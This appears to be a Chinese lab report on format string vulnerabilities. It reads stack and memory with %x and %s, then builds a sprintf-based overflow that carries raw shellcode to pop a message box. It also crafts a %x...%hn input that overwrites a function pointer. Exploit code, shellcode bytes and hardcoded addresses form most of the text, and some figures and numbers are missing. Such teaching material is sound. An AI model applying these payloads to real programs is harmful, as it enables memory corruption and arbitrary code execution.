格式化字符串
目标
通过几个例子来理解格式化输出函数漏洞的利用,使用%s、%x、%n格式操作符操作内存,完成给定 shellcode 调用。
测试步骤与结果
%x查看栈内容
代码如下
1 |
|
- 执行
printf时,第四个%x没有提供相应的参数,会显示该参数所在位置的栈内容。在本例为00132588h
- 此程序输出如下
![]()
%s查看指定地址内容
代码如下
1 |
|
- 代码将要查看位于地址
0x77E61044的内存内容。 - 前 3 个参数为提供的 3 个参数,后面的一群
%x是为了将%s的参数对应到地址0x77e61044上,所以可以输出内存0x77e61044的内容直到遇到截断符。![]()
![]()
- 该段程序输出如下
![]()
实际操作对格式化输出函数漏洞进行利用
-
sprintf()函数sprintf的函数原型是这样的:int sprintf (char *buffer, const char *format, [argument] ...);buffer指针指向将要写入字符串的缓冲区format格式化字符串argument为可选参数
sprintf函数的漏洞点在于它假定任意长度的缓冲区存在。
-
shellcode 解析
char user[]=
"%497d\x39\x4a\x42\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x33\xDB\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8B\xC4\x53"
"\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90"
"\xB8\xBB\xB0\xE7\x77\xFF\xD0\x90\x90\x90\x90";- 我们使用数组
user作为用户的 “输入”,\x39\x4a\x42\x00为 shellcode 的起始地址,用来覆盖函数的返回地址。\x33\xdb开始是我们的弹框 shellcode。当调用sprintf时,它会读取一个参数以%497d的格式写入 outbuf,由于未提供该参数,会自动将栈地址0x0012fae0中的值视为该参数,即0x12ff80。需要写入outbuf的总字符串长度为,而 outbuf长度为512,因此会导致栈溢出, 使得函数的返回后执行sprintf()后outbuf的内容。
- 我们使用数组
-
漏洞利用
-
整体代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17// libraries import omitted
void mem(){
//__asm int 3
char outbuf[512];
char buffer[512];
sprintf(
buffer,
"ERR Wrong command: %.400s", user
); /* 执行完上一步后buffer[]="ERR Wrong command: %497d\x39\x4a\x42\x00" 00424a39为shellcode地址;此处仅仅就是一串nop而已 */
sprintf(outbuf,buffer);
//sprintf(outbuf,"ERR Wrong command: %497d\x39\x4a\x42\x00");
}
int main(){
LoadLibrary("user32.dll");
mem();
return 0;
} -
mem函数中,分配了两个512字节大小的缓冲区,并进行了两次sprintf操作。 -
第一次
sprintf后,buffer(在0x424a30)中的内容应该是"ERR Wrong command: %497d\x39\x4a\x42\x00",其后的内容因为有0x00而被截断。![]()
![]()
-
第二次执行
sprintf,它会读取一个参数以%497d的格式写入outbuf,由于未提供该参数,会自动将栈地址0x0012fae0中的值视为该参数,即0x12ff80。
-
outbuf起始地址为0x0012fd2c, 19 字节的字符串ERR Wrong command:后为 497 字节的整型数字1245056,因此从0012ff30开始为\x39\x4a\x42\x00。
-
我们成功将返回地址
0x4010d1覆盖为 shellcode 的地址0x424a39。![修改前]()
![修改后]()
-
shellcode 成功执行,弹出对话框。
![]()
-
测试结论
上述溢出程序的修改原理可以用这个图来简单表示。
思考题
源代码如下
1 |
|
main 函数中根据命令行提供的参数打开对应的文件。如果这个文件不存在,那么就调用PrintMessage函数打印相应的错误信息。在PrintMessage函数中把错误分为GhastlyError和RecoverableError两类。要想调用foo函数,可以通过%n把fErrFunc函数的地址修改为foo函数的地址。命令行参数为:%x%x…%x%x%n+fErrFunc 函数指针的地址。snprintf之后buf为"Can'tFind%x%x…%x%x%n" +fErrFunc 函数指针的地址,接下来由于fprintf(stdout, buf)中缺少了argument参数,所以已打出的字符总数通过%n被写入 fErrFunc 函数指针的地址。通过控制%x调整已打出的字符总数就能达到我们的目的。
- 首先传入一串
%x
argv="%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x" fErrFunc在0x12ff18位置上,foo在0x401014上,2578是%x的 ASCII 码。![]()
- 加上
%pABC
argv="%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%pABC"
- 我们需要把
\x18\xff\x12放在一个可写的位置上,在前面加上.以调整输出内容![]()
- 现在把
%p换为%hn,由于多了一个h,所以前面要少一个.,在后面我们还要放上\x18\xff\x12。
foo的地址是0x00401014,现在我们写入的值是0x0040017E,还差 3734 个字节。![]()
这里是 3744 不是 3734,因为原来第一个
%x打印了 6 个字节,为了对齐删掉了 4 个.又少打印了 4 个字节,所以要把总共少打印的这 10 个字节加回去。从上图可以看出第一个%x对应的内容是0012FF80,只打印了12FF80;第二个%x对应的内容是00000000,只打印了0;从第三个%x开始正常打印 8 个字节。
![这样构造,即可成功]()
- 利用成功。
![成功弹框]()














